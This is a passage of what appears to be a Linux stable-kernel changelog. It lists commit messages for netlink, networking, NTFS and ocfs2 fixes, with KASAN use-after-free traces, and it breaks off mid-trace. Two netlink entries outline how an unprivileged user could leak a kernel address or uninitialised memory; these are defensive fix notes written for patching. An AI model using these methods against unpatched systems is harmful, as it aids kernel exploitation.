    ntb_netdev updates shared net_device stats from per-QP RX and TX
    callbacks. Once multiple queues are enabled, concurrent updates can be
    lost.
    
    Use per-CPU tstats for packet and byte counters and DEV_STATS_INC() for
    less frequent drop and error counters. Callbacks can run synchronously
    in the xmit path or asynchronously from a tasklet or the memcpy kthread.
    Pin TX updates against migration in the kthread path. Use the IRQ-safe
    u64_stats helpers because netpoll can invoke the synchronous path with
    IRQs disabled.
    
    Let the core manage tstats while keeping transport teardown after
    unregister_netdev(), outside RTNL. RCU lets unregister wait for TX
    completions already updating stats, while later completions only consume
    the skb and skip accounting and queue wake.
    
    Fixes: 24d9e73c7e00 ("net: ntb_netdev: Support ethtool channels for multi-queue")
    Cc: stable@vger.kernel.org
    Suggested-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Koichiro Den <den@valinux.co.jp>
    Reviewed-by: Eric Dumazet <edumazet@google.com>
    Link: https://patch.msgid.link/20260830151617.3546585-1-den@valinux.co.jp
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

net: psp: do not inherit the Rx association on clone [+ + +]
Author: Norbert Szetei <norbert@doyensec.com>
Date:   Sat Aug 29 18:56:18 2026 +0200

    net: psp: do not inherit the Rx association on clone
    
    commit 1d2929d0850fff683b8aff051275945e65f082c8 upstream.
    
    sk->psp_assoc sits past sk_dontcopy_end, so sock_copy() copies it into
    every socket accepted from a listener without taking a reference, while
    inet_sock_destruct() puts for every inet socket. psp_twsk_init() does
    refcount_inc() for the timewait socket, so a child closing through
    TIME_WAIT cancels its own put and leaves the association with one
    reference and N timewait sockets holding the same pointer. Closing the
    listener frees it, and the timewait timers then put freed memory.
    
    Rejecting the association on a listening socket is not sufficient: a socket
    can acquire one while established and then be turned back into a listener,
    because tcp_disconnect() leaves sk->psp_assoc in place.
    
      BUG: KASAN: slab-use-after-free in psp_twsk_assoc_free+0x6f/0xf0
      Write of size 4 at addr ffff888110f9255c by task swapper/7/0
       psp_twsk_assoc_free+0x6f/0xf0
       inet_twsk_put+0xda/0x1b0
       call_timer_fn+0x53/0x2e0
       __run_timers+0x764/0xa80
      Freed by task 99:
       kfree+0x1a7/0x500
       process_one_work+0x7ec/0x1100
    
    An association carries a per-connection SPI and key, so a child must not
    inherit the parent's. Clear it on clone.
    
    Fixes: 6b46ca260e22 ("net: psp: add socket security association code")
    Cc: stable@vger.kernel.org
    Assisted-by: Claude:claude-opus-5
    Signed-off-by: Norbert Szetei <norbert@doyensec.com>
    Reviewed-by: Daniel Zahka <daniel.zahka@gmail.com>
    Link: https://patch.msgid.link/BC10EB92-ABB3-41B2-AB16-266BEEBE18C0@doyensec.com
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

net: rds: fix uninitialized trans dereference in CM event handler [+ + +]
Author: Aohan Mei <henrymei@tencent.com>
Date:   Sat Oct 3 09:34:07 2026 -0700

    net: rds: fix uninitialized trans dereference in CM event handler
    
    commit 492ba6ac1b1ffb8a06ff52db0825c1af2cdb28c8 upstream.
    
    rds_rdma_cm_event_handler_cmn() assigns trans only when the RDMA
    device is an InfiniBand CA (RDMA_NODE_IB_CA).  On any other device
    type, e.g. an iWARP RNIC such as siw, trans stays uninitialized, but
    the event switch dereferences it: unconditionally in the
    RDMA_CM_EVENT_CONNECT_REQUEST case via trans->cm_handle_connect(),
    and (with a connection context) in the ROUTE_RESOLVED and
    ESTABLISHED cases.
    
    An RDS listener on an iWARP device therefore crashes the kernel as
    soon as a connect request arrives: with CONFIG_INIT_STACK_ALL_ZERO
    the wild load becomes a NULL dereference at offset 0xa0
    (&trans->cm_handle_connect) in the iw_cm_wq workqueue.
    
    GCC masks the bug in default builds by folding the uninitialized
    load into &rds_ib_transport; Clang-built kernels take the real
    uninitialized path and oops.
    
    The active side can land on a non-IB device too: the id that
    rds_ib_conn_path_connect() creates is not restricted to a node type,
    so rdma_resolve_addr() binds it to whichever device serves the local
    address, and an iWARP RNIC on the same netdev qualifies.  The crash
    there is different: resolving a route on an iWARP id never fills in
    cm_id->route.path_rec, and the ROUTE_RESOLVED case writes
    path_rec[0].sl before it calls into the transport.
    
    The iWARP transport was dropped long ago and IB is the only
    transport left, so make that explicit: initialize trans to
    &rds_ib_transport at declaration, drop the conditional assignment,
    reject a connect request that arrives on a non-IB device, and drop a
    connection whose address resolved to one instead of resolving a
    route on it.  The rejection is limited to RDMA_CM_EVENT_CONNECT_REQUEST
    on purpose: a non-zero return from the handler makes rdma_cm destroy
    the id the event was delivered on, which is right for the request's
    freshly created id but would free a connection id that RDS still owns
    for any other event.  On the active side the id stays ic->i_cm_id and
    the connection's shutdown destroys it, so that case returns 0.
    
    Fixes: dcdede0406d3 ("RDS: Drop stale iWARP RDMA transport")
    Reported-by: TencentOS Corvus AI <corvus@tencent.com>
    Link: https://lore.kernel.org/netdev/20260824111701.2979194-1-ljp1205831794@gmail.com/
    Link: https://lore.kernel.org/netdev/20260825021223.3483044-1-ljp1205831794@gmail.com/
    Cc: stable@vger.kernel.org
    Assisted-by: CodeBuddy:Kimi-K3
    Signed-off-by: Aohan Mei <henrymei@tencent.com>
    [achender: reject only on RDMA_CM_EVENT_CONNECT_REQUEST instead of
     bailing out for every event on a non-IB device, so that rdma_cm does
     not destroy connection ids RDS still tracks; drop a connection whose
     address resolved to a non-IB device before a route is resolved on it;
     changelog adjusted]
    Assisted-by: LLM
    Signed-off-by: Allison Henderson <achender@kernel.org>
    Link: https://patch.msgid.link/20261003163408.250568-2-achender@kernel.org
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

net: stmmac: dwmac1000: clear the RGMII status interrupt [+ + +]
Author: Igor Velkov <iav@iav.lv>
Date:   Fri Oct 9 23:17:09 2026 +0300

    net: stmmac: dwmac1000: clear the RGMII status interrupt
    
    [ Upstream commit aa07285705f8d5bac464eb1c5b7412f8e88b91e1 ]
    
    Since commit 2e2c878a3141 ("net: stmmac: remove SGMII/RGMII/SMII
    interrupt handling") nothing on the RGMII path reads GMAC_RGSMIIIS, so
    RGSMIIIS stays pending behind GMAC_INT_MASK from the first link change
    on. stmmac_resume() resets the MAC in stmmac_hw_setup(); the reset sets
    GMAC_INT_MASK to 0 until dwmac1000_core_init() writes the mask again,
    and the pending status storms the line:
    
      dwmac_dma_interrupt: unexpected status 04000000
    
    A register dump at the first message on ODROID-HC4 showed it:
    
      core int_status 00000001 int_mask 00000000 pmt 00000000 rgsmiiis 0000000d
    
    When the resume thread runs on the CPU that takes the MAC interrupt,
    the storm starves it: a soft lockup, then a watchdog reset or a hang.
    
    Read GMAC_RGSMIIIS in dwmac1000_irq_status() when the status is not
    masked, as the driver did before 2e2c878a3141; the read clears it.
    
    Wake-on-LAN resume from s2idle with the resume thread and the MAC
    interrupt on one CPU: Helios64 (dwmac-rk), 7.3-rc6, soft-locked in 3 of
    3 resumes without a fix and in 0 of 10 with this patch; it ran with an
    out-of-tree dwmac-rk change that keeps the GMAC powered across suspend.
    ODROID-HC4 (dwmac-meson8b): 0 of 10 with this patch, 2 of 2 without a
    fix on a 7.3-rc5 build. irq_rgmii_n went up by one per resume.
    
    Fixes: 2e2c878a3141 ("net: stmmac: remove SGMII/RGMII/SMII interrupt handling")
    Assisted-by: LLM
    Signed-off-by: Igor Velkov <iav@iav.lv>
    Reviewed-by: Daniel Machon <daniel.machon@microchip.com>
    Link: https://patch.msgid.link/20261009201709.1917585-1-iav@iav.lv
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net: ti: icssm-prueth: Move setting of netops to fix crash [+ + +]
Author: David Yang <mmyangfl@gmail.com>
Date:   Thu Oct 8 10:26:51 2026 +0800

    net: ti: icssm-prueth: Move setting of netops to fix crash
    
    [ Upstream commit 955bb7cf680d8699ce94c73539af882840a9be43 ]
    
    icssm_prueth_netdev_init() calls of_phy_get_and_connect() before
    ndev->netdev_ops is assigned. phy_attach_direct() ->
    phy_link_topo_add_phy() reads dev->netdev_ops through
    netdev_need_ops_lock() since the commit in question, so probing crashes
    with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
    
    Assign netdev_ops before the PHY attach, as was done for emac in commit
    7c9f391ec89c ("net: emac: move setting of netops to fix crash").
    
    Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
    Signed-off-by: David Yang <mmyangfl@gmail.com>
    Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
    Link: https://patch.msgid.link/20261008022656.3592191-10-mmyangfl@gmail.com
    Reviewed-by: Jijie Shao <shaojijie@huawei.com>
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
netlink: avoid hashing the network namespace pointer [+ + +]
Author: Kyle Zeng <kylebot@openai.com>
Date:   Wed Oct 7 18:14:00 2026 -0700

    netlink: avoid hashing the network namespace pointer
    
    [ Upstream commit f88bb3606e4bd11ee035b682cddc2999e604609a ]
    
    The netlink rhashtable key includes a raw struct net pointer and a
    user-controlled port ID. Both /proc/net/netlink and socket diagnostics
    expose the table's bucket order. By binding and rebinding chosen
    NETLINK_USERSOCK port IDs, an unprivileged reader can distinguish equal
    buckets and recover the low bits of the Jenkins hash. Its 32-bit seed
    and the limited set of kernel-image slides can then be searched offline
    to recover the address of init_net.
    
    Use the namespace's unique, non-address net_cookie in the comparison
    key instead. It is assigned before the per-net initializers run and
    remains unchanged for the namespace's lifetime. The lookup key and
    object hash are still built by netlink_compare_arg_init(), keeping
    lookup, insertion, removal and rehashing consistent while preserving
    namespace separation. Neither public table walker needs to change.
    
    Reading the socket's namespace cookie in netlink_compare() is safe
    under RCU, including during namespace teardown. netlink_release()
    removes the socket from the hash table and defers its final put with
    call_rcu(). cleanup_net() runs the per-net exit methods and waits for
    outstanding RCU callbacks with rcu_barrier() before freeing namespace
    storage.
    
    Unlike ns.ns_id, net_cookie is also available and initialized during
    setup_net() in older stable kernels, making the change straightforward
    to backport to v5.15 and later.
    
    Fixes: c428ecd1a21f ("netlink: Move namespace into hash key")
    Assisted-by: LLM
    Signed-off-by: Kyle Zeng <kylebot@openai.com>
    Reviewed-by: Simon Horman <horms@kernel.org>
    Reviewed-by: Eric Dumazet <edumazet@kernel.org>
    Link: https://patch.msgid.link/20261008011359.63727-2-kylebot@openai.com
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

netlink: reset skb headers before unicast and multicast filtering [+ + +]
Author: Kyle Zeng <kylebot@openai.com>
Date:   Tue Oct 6 15:42:32 2026 -0700

    netlink: reset skb headers before unicast and multicast filtering
    
    [ Upstream commit 8bf659bd54e1f00e34cf5244b1d289c506fa47c0 ]
    
    Socket filters can use SKF_NET_OFF and SKF_LL_OFF to read relative to
    an skb's network and MAC headers. Netlink producers may reserve
    headroom without resetting those headers, allowing a receiving socket's
    filter to read data before the initialized message.
    
    For example, IWPM HELLO replies are allocated with dev_alloc_skb(),
    which reserves NET_SKB_PAD bytes. An unprivileged NETLINK_RDMA user can
    attach a classic socket filter and disclose this headroom through the
    length of the delivered reply. The resets in netlink_dump() do not help
    because IWPM sends a separately allocated skb through netlink_unicast().
    
    Reset both headers before running the receiver's filter in unicast and
    broadcast delivery, as is already done for dump skbs. This also covers
    other netlink producers that reserve headroom without changing their
    allocation or message-building code.
    
    Fixes: b1153f29ee07 ("netlink: make socket filters work on netlink")
    Assisted-by: LLM
    Signed-off-by: Kyle Zeng <kylebot@openai.com>
    Link: https://patch.msgid.link/20261006224232.50724-1-kylebot@openai.com
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

netlink: specs: add missing mask attributes for conntrack dump [+ + +]
Author: Ilya Maximets <i.maximets@ovn.org>
Date:   Thu Aug 27 00:01:12 2026 +0200

    netlink: specs: add missing mask attributes for conntrack dump
    
    commit 8b348496cbec0d5ca24a99f668096e2e16e8fbeb upstream.
    
    'mark-mask' and 'status-mask' are defined and supported by the
    conntrack dump, but missing from the list of arguments.
    
    While at it, the order of the arguments should follow the order of
    their definition in the enum ctattr_type.  That appears to be a common
    convention for other spec files.
    
    Fixes: 23fc9311a526 ("netlink: specs: add conntrack dump and stats dump support")
    Cc: stable@vger.kernel.org
    Signed-off-by: Ilya Maximets <i.maximets@ovn.org>
    Reviewed-by: Asbjørn Sloth Tønnesen <ast@fiberby.net>
    Link: https://patch.msgid.link/20260826220444.4054714-3-i.maximets@ovn.org
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

netlink: specs: fix the conntrack filter type [+ + +]
Author: Ilya Maximets <i.maximets@ovn.org>
Date:   Thu Aug 27 00:01:11 2026 +0200

    netlink: specs: fix the conntrack filter type
    
    commit 2a004bfb62bdb847f25a8001e104bf33922a2cf4 upstream.
    
    The CTA_FILTER doesn't contain nested tuple attributes, instead it
    contains bit masks that specify which tuple attributes to filter on.
    The values for filtering are taken from the top-level CTA_TUPLE_ORIG
    and CTA_TUPLE_REPLY, which are also missing in the attribute list
    for the dump request.
    
    The bits themselves somehow are not in the public headers, so not
    defining them in the spec either for now.  Once they are public in
    uAPI, they can be added here with enum-as-flags.
    
    Fixes: 23fc9311a526 ("netlink: specs: add conntrack dump and stats dump support")
    Cc: stable@vger.kernel.org
    Signed-off-by: Ilya Maximets <i.maximets@ovn.org>
    Reviewed-by: Asbjørn Sloth Tønnesen <ast@fiberby.net>
    Link: https://patch.msgid.link/20260826220444.4054714-2-i.maximets@ovn.org
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
nios2: fix __wsum type degradation in csum_fold() [+ + +]
Author: Keith Busch <kbusch@kernel.org>
Date:   Tue Sep 22 08:34:16 2026 -0700

    nios2: fix __wsum type degradation in csum_fold()
    
    [ Upstream commit b963f2345fa20417401c51a69dedb6a58eea33a9 ]
    
    csum_fold() shifts a bitwise __wsum type, which sparse reports as
    "restricted __wsum degrades to integer". Sparse only checks the body of
    a static inline once something instantiates it, so this went unnoticed
    until a recent block layer change added the first csum_fold() caller to
    a file built on this architecture.
    
    Force cast to a __u32 for the shift, as the other architectures do.
    
    Fixes: eea9507a69d6 ("nios2: Library functions")
    Reported-by: kernel test robot <lkp@intel.com>
    Closes: https://lore.kernel.org/oe-kbuild-all/202609222053.5gjiJjtb-lkp@intel.com/
    Signed-off-by: Keith Busch <kbusch@kernel.org>
    Signed-off-by: Dinh Nguyen <dinguyen@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
ntfs3: free the sbi after a grace period [+ + +]
Author: Christian Brauner <brauner@kernel.org>
Date:   Fri Oct 9 23:51:57 2026 +0200

    ntfs3: free the sbi after a grace period
    
    commit c01b091b06412d3b1b53d8c2925f6de586c8a2fc upstream.
    
    If the "nocase" mount option ntfs3 uses custom hash and dentry compare
    functions. Both access ntfs3 superblock private information in rcu
    pathwalk. ntfs_put_super() and ntfs3_kill_sb() drop the info without any
    rcu delay. A lookup that's still inside the filesystem when the last
    reference to the mount is dropped causes a UAF. With a pathwalk held up
    in ntfs_d_hash() while the last reference to the mount goes away:
    
      BUG: KASAN: slab-use-after-free in ntfs_nls_to_utf16+0x752/0x940
      Read of size 8 at addr ff1100010453c850 by task walker/99
      Call Trace:
       <TASK>
       ntfs_nls_to_utf16+0x752/0x940
       ntfs_d_hash+0x22b/0x500
       link_path_walk+0x11ad/0x1d30
       path_lookupat+0x63/0xb00
       filename_lookup+0x1f1/0x5b0
       vfs_statx+0xd7/0x3b0
      [...]
      Allocated by task 95:
       __kmalloc_cache_noprof+0x249/0x560
       ntfs_init_fs_context+0x2db/0x5a0
       alloc_fs_context+0x52e/0xc70
      [...]
      Freed by task 98:
       kfree+0x1db/0x5b0
       deactivate_locked_super+0x9c/0xf0
       cleanup_mnt+0x9f/0x130
       task_work_run+0x131/0x250
    
    The bug is currently masked by the grace period in namespace_unlock()
    for umount(2). Keep the necessary information until the filesystem
    private info is freed and free it with an rcu delay.
    
    ntfs3_free_sbi() now runs from an rcu callback and drops the upcase
    table via ntfs_put_shared(). So switch s_shared_lock over to
    spin_lock_bh(). Otherwise the callback can deadlock against a task
    holding the lock on the same cpu.
    
    Fixes: a3a956c78efa ("fs/ntfs3: Add option "nocase"")
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-7-7446d2d335e6@kernel.org
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
ntfs: fix FITRIM range alignment [+ + +]
Author: Jacopo Labardi <jacopolabardi@gmail.com>
Date:   Sun Aug 30 02:15:36 2026 +0200

    ntfs: fix FITRIM range alignment
    
    commit 03c6ecc4b4b13a3901f207152451fdd2d82e40c4 upstream.
    
    ntfs_trim_fs() aligns the start of a free extent up to the device discard
    granularity, but derives the discard length by aligning the original extent
    length down. When the free extent start is not discard-aligned, adding that
    length to the aligned start can extend the discard past the free extent and
    into allocated clusters.
    
    For example, with 4 KiB clusters and 32 KiB discard granularity, the free
    extent [4 KiB, 36 KiB) becomes the discard range [32 KiB, 64 KiB), so
    28 KiB beyond the free extent may be discarded.
    
    Align the absolute end of the free extent down and derive the length from
    the two aligned endpoints. Skip extents that contain no full discard unit.
    
    Reproduced with a 4 KiB-cluster NTFS filesystem on scsi_debug configured
    for 32 KiB discard granularity and read-zero-after-trim. Before this
    change, FITRIM zeroed seven allocated 4 KiB clusters following an unaligned
    32 KiB hole. With this change, the same data remains intact across FITRIM
    and remount.
    
    Fixes: 11ccc9107dc4 ("ntfs: update runlist handling and cluster allocator")
    Cc: stable@vger.kernel.org
    Assisted-by: OpenAI Codex:GPT-5.6 Sol Max
    Signed-off-by: Jacopo Labardi <jacopolabardi@gmail.com>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize [+ + +]
Author: Hongling Zeng <zenghongling@kylinos.cn>
Date:   Mon Aug 24 13:41:15 2026 +0800

    ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize
    
    commit 8d139e3635c86e2c97c78d55538ce0b00b6d9986 upstream.
    
    ntfs_new_attr_flags() passes the wrong MFT record to ntfs_attr_record_resize().
    When the attribute is in an extent record, ctx->mrec points to the extent
    but the function receives the base record pointer m, causing incorrect
    size calculations in memmove.
    
    Fix by passing ctx->mrec (the actual MFT record containing the attribute)
    instead of m (the base MFT record) to ntfs_attr_record_resize().
    
    Fixes: fc053f05ca28 ("ntfs: add reparse and ea operations")
    Cc: stable@vger.kernel.org
    Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
    Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ntfs: fix memmove overlap in ntfs_new_attr_flags [+ + +]
Author: Hongling Zeng <zenghongling@kylinos.cn>
Date:   Thu Oct 22 18:46:02 2026 -0400

    ntfs: fix memmove overlap in ntfs_new_attr_flags
    
    [ Upstream commit acb1095fd2db884b417cb70808c886e4b615ff05 ]
    
    When the record shrinks while the payload offsets increase (e.g., enabling
    compression reduces padding, making arec_size < old_arec_size, but the header
    grows by 8 bytes), moving the name first can overwrite the old mapping_pairs
    before they are copied. Move mapping_pairs first in this case.
    
    Since mp_ofs is derived from name_ofs, they always change in the same
    direction. Checking name_ofs alone is sufficient.
    
    Fixes: fc053f05ca28 ("ntfs: add reparse and ea operations")
    Cc: stable@vger.kernel.org
    Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
    Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ntfs: fix resident conversion in ntfs_new_attr_flags [+ + +]
Author: Hyunchul Lee <hyc.lee@gmail.com>
Date:   Thu Oct 22 18:46:00 2026 -0400

    ntfs: fix resident conversion in ntfs_new_attr_flags
    
    [ Upstream commit 7ed0028126b5a19f278183abbae2b3166d3ca9ac ]
    
    When setting sparse/compressed flags on a resident attribute, the
    function skipped the resident-to-non-resident conversion and
    terminated.
    
    Signed-off-by: Hyunchul Lee <hyc.lee@gmail.com>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Stable-dep-of: acb1095fd2db ("ntfs: fix memmove overlap in ntfs_new_attr_flags")
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ntfs: fix undefined behavior in mft/index record size calculation [+ + +]
Author: Hongling Zeng <zenghongling@kylinos.cn>
Date:   Tue Aug 25 17:54:05 2026 +0800

    ntfs: fix undefined behavior in mft/index record size calculation
    
    commit a79899ca38af4ce5518a59a22f0eb1f59f7e6089 upstream.
    
    The boot sector validation allows clusters_per_mft_record and
    clusters_per_index_record to range from 0xE1 (-31) to 0xF7 (-9) when
    interpreted as signed values. When these are used as negative shift
    counts in expressions like `1 << -clusters_per_mft_record`, values
    like 0xE1 cause `1 << 31`, which shifts into the sign bit of a 32-bit
    signed integer, resulting in undefined behavior.
    
    Fix by using unsigned shift (1U << ...) instead of signed shift.
    This prevents undefined behavior while preserving the full valid
    range of negative values (-31 to -9) that may appear in NTFS boot
    sectors.
    
    The encoding scheme uses negative values to represent record sizes
    smaller than cluster_size: -log2(record_size). Common values include
    -10 (1024 bytes) for mft_record_size and -12 (4096 bytes) for
    index_record_size.
    
    Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
    Cc: stable@vger.kernel.org
    Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
    Reviewed-by: Baolin Liu <liubaolin@kylinos.cn>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ntfs: handle signal interruption in fallocate [+ + +]
Author: Hongling Zeng <zenghongling@kylinos.cn>
Date:   Wed Aug 26 13:59:53 2026 +0800

    ntfs: handle signal interruption in fallocate
    
    commit 4dc8f4ee2d46d5d1e749ddd1b94912c72e796162 upstream.
    
    The ntfs_attr_fallocate() function checks for pending signals during
    allocation loops and exits early via 'out' label. However, when a signal
    interrupts the operation with err == 0, the function returns 0 (success)
    instead of -EINTR.
    
    The signal_pending() checks at the allocation loops jump to 'out' without
    setting err = -EINTR, so the function returns success even when interrupted
    by a signal.
    
    Set err = -EINTR when jumping to the signal exit path, and only override
    when no other error is pending. This ensures:
    
    - Allocation interrupted by signal returns -EINTR
    - Allocation that completed successfully before signal arrived returns 0
    - Other errors are preserved and not overwritten by -EINTR
    
    Fixes: 495e90fa3348 ("ntfs: update attrib operations")
    Cc: stable@vger.kernel.org
    Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
    Reviewed-by: Baolin Liu <liubaolin@kylinos.cn>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ntfs: move attribute payload before shrinking its record [+ + +]
Author: Namjae Jeon <linkinjeon@kernel.org>
Date:   Thu Oct 22 18:46:01 2026 -0400

    ntfs: move attribute payload before shrinking its record
    
    [ Upstream commit 0ab6dc1ac4601c8d79e5448a024daed6b0c5ef64 ]
    
    ntfs_new_attr_flags() resizes the non-resident attribute record before
    moving its name and mapping pairs to their shorter-header offsets when
    compression or sparse state is cleared.
    
    Shrinking the record first moves the following attribute over the tail of
    the old record. The subsequent memmove() therefore copies bytes from that
    following attribute instead of the old mapping pairs. Re-enabling
    compression on an empty file persists those bytes as a malformed mapping
    pairs array, which ntfsck reports as a missing or invalid run length.
    
    Move the payload before shrinking the record, while retaining the existing
    resize-before-move ordering when growing it.
    
    Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Stable-dep-of: acb1095fd2db ("ntfs: fix memmove overlap in ntfs_new_attr_flags")
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ntfs: take invalidate_lock in ntfs_setattr_size() [+ + +]
Author: Hongling Zeng <zenghongling@kylinos.cn>
Date:   Thu Oct 22 18:44:57 2026 -0400

    ntfs: take invalidate_lock in ntfs_setattr_size()
    
    [ Upstream commit 9cc5761b8f28f9cef72061094eb5e37e2cd44d97 ]
    
    ntfs_setattr_size() updates i_size and resizes the on-disk attribute
    without holding mapping->invalidate_lock.  Page faults take the lock
    shared, so a fault racing the resize can resolve a VCN against the
    transient runlist state of ntfs_non_resident_attr_expand() and fail
    with a spurious SIGBUS, and can interleave with the size-change
    epilogue (truncate_pagecache(), i_size_write(),
    pagecache_isize_extended()).
    
    Take invalidate_lock exclusively around the whole resize after
    inode_dio_wait(), matching the fallocate path and other filesystems
    such as xfs, which wraps truncate in its mmaplock (= invalidate_lock).
    
    Fixes: 9c87959601e8 ("ntfs: update file operations")
    Cc: stable@vger.kernel.org
    Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
    Reviewed-by: Baolin Liu <liubaolin@kylinos.cn>
    Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ntfs: use pagecache_isize_extended() on size extension [+ + +]
Author: Namjae Jeon <linkinjeon@kernel.org>
Date:   Thu Oct 22 18:44:56 2026 -0400

    ntfs: use pagecache_isize_extended() on size extension
    
    [ Upstream commit 5c32f0b8d791c3464d7b280859f312b006e08fab ]
    
    When extending file size, call truncate_pagecache() first, then update
    i_size, and use pagecache_isize_extended() instead of manual
    iomap_zero_range(). This ensures the straddling folio is properly marked
    RO so page_mkwrite() is called and post-EOF area is zeroed.
    
    Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Stable-dep-of: 9cc5761b8f28 ("ntfs: take invalidate_lock in ntfs_setattr_size()")
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
ocfs2/dlm: Protect the recovery list during debugfs reads [+ + +]
Author: Cen Zhang <zzzccc427@gmail.com>
Date:   Sun Oct 11 23:35:06 2026 +0800

    ocfs2/dlm: Protect the recovery list during debugfs reads
    
    [ Upstream commit 4c435828932bf46f29860e4a0375bcae101b778a ]
    
    Recovery participant records must remain alive while debug_state_print()
    walks reco.node_data and formats their fields. The formatter holds
    dlm->spinlock, but the recovery participant list is protected by
    dlm_reco_state_lock. In particular, dlm_destroy_recovery_area() detaches
    the list under dlm_reco_state_lock and frees the detached records after
    releasing it. A concurrent debugfs open can therefore read freed memory.
    
    Protect the participant traversal and field reads in debug_state_print()
    with dlm_reco_state_lock, matching the existing list writers. This also
    serializes the traversal against list_add_tail() during recovery-area
    initialization. Make the existing lock available to the debug code
    through dlmcommon.h; the lock remains internal to the OCFS2 DLM module.
    
    Release dlm->spinlock after formatting the other domain state and before
    acquiring dlm_reco_state_lock, so the debug reader does not nest the two
    locks. Leave recovery list insertion, detachment and freeing unchanged.
    
    KASAN report as below:
    
        BUG: KASAN: slab-use-after-free in debug_state_open+0x1169/0x12d0
        Read of size 4 at addr ffff88810662ef80 by task dlm-state-stres/896
    
        CPU: 1 UID: 0 PID: 896 Comm: dlm-state-stres Not tainted 7.3.0-rc4-next-20260921-pmb-ocfs2-functional-v1+ #1 PREEMPT(lazy)
        Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
        Call Trace:
         <TASK>
         dump_stack_lvl+0x93/0xd0
         print_report+0xce/0x630
         ? debug_state_open+0x1169/0x12d0
         ? srso_alias_return_thunk+0x5/0xfbef5
         ? __virt_addr_valid+0x20e/0x420
         ? debug_state_open+0x1169/0x12d0
         kasan_report+0xe0/0x110
         ? debug_state_open+0x1169/0x12d0
         debug_state_open+0x1169/0x12d0
         ? __pfx_debug_state_open+0x10/0x10
         full_proxy_open_regular+0x193/0x310
         do_dentry_open+0x595/0x12d0
         ? __pfx_full_proxy_open_regular+0x10/0x10
         vfs_open_consume+0xd1/0x400
         ? srso_alias_return_thunk+0x5/0xfbef5
         path_openat+0x18d0/0x2020
         ? __pfx_path_openat+0x10/0x10
         do_file_open+0x21e/0x470
         ? __pfx_do_file_open+0x10/0x10
         ? _raw_spin_unlock+0x23/0x40
         ? srso_alias_return_thunk+0x5/0xfbef5
         ? alloc_fd+0x3a6/0x6b0
         do_sys_openat2+0xf4/0x1b0
         ? __pfx_do_sys_openat2+0x10/0x10
         ? srso_alias_return_thunk+0x5/0xfbef5
         ? __fput+0x5b5/0xa60
         __x64_sys_openat+0x136/0x1e0
         ? __pfx___x64_sys_openat+0x10/0x10
         do_syscall_64+0x114/0x620
         entry_SYSCALL_64_after_hwframe+0x77/0x7f
        [Register dump omitted.]
         </TASK>
    
        Allocated by task 880:
